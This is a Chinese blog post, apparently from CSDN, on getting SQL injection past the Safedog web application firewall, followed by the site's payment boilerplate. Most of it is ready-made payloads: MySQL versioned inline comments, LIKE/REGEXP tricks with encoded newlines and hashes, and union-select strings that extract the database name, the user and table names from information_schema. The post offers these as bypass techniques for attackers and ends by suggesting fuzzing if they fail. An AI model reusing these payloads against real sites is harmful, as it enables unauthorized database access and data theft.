SQL注入绕过安全狗

本文介绍了如何绕过网站安全狗的防护进行SQL注入攻击,包括内联注释绕过、模糊查询绕过等方法,并展示了如何查询数据库用户名和表信息。通过示例演示了各种绕过技巧,如使用LIKE和REGEXP进行模糊查询,以及结合UNION和SELECT查询敏感信息。
摘要由CSDN通过智能技术生成

前期知识

网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具,WAF检测一般分为两种,一种白名单,一种黑名单。白名单相对于黑名单来说,更加安全,但是白名单由于设置的比较严格,有时会影响用户的正常访问,所以WAF还是用黑名单的比较多。

黑名单

WAF禁止了一些有关攻击语句的函数,用户一旦输入这些函数,就会被WAF拦截

演示开始

首先发现有注入,大多数人都是老方法(and 1=1)嘛,但是看效果
在这里插入图片描述
由于安全狗的防护,检测到了and函数,所以开始绕

内联注释绕过

内联注释绕过在一般的数据库是不会执行的,但是在mysql中内联注释中的语句会被执行,当!后面接数据库版本号时,如果自身版本号大于等于字符数,就会将注释中的内容执行,否则就会当做注释来处理。(但也不绝对,还得自己用burp跑一下确定版本号)
在这里插入图片描述

模糊查询绕过

LIKE//REGEXP 方法
在这里插入图片描述
在这里插入图片描述
相当于select * from student where snO=1 like "[%23]"为空
也就是说,就执行了select * from student;
所以
id=-1’ like “[%23]” /!10440union%0aselect/ 1,2,3 --+
在这里插入图片描述

1' REGEXP "[…%0a%23]" /*!11444 order %0a by*/ 1 --+  
1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,2,3 --+
也是可以的,REGEXP用法跟LIKE差不多,也是模糊查询

union /*//*//*!50344select*/1,2,3 --+

查询数据库用户名和表信息

查询这些分别注意union和select连接,from和表连接,还有database()括号的连接,需要用到以上方法结合起来
查询库

union /*//*//*!50344select*/1,2,database(/*!50644*/) --+

查询用户名

-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +  

查询表名

  ?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.tables*/  where table_schema='security'--+ 

等等

暂时是都可以绕过的,如果不行,可以试试FUZZ大法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值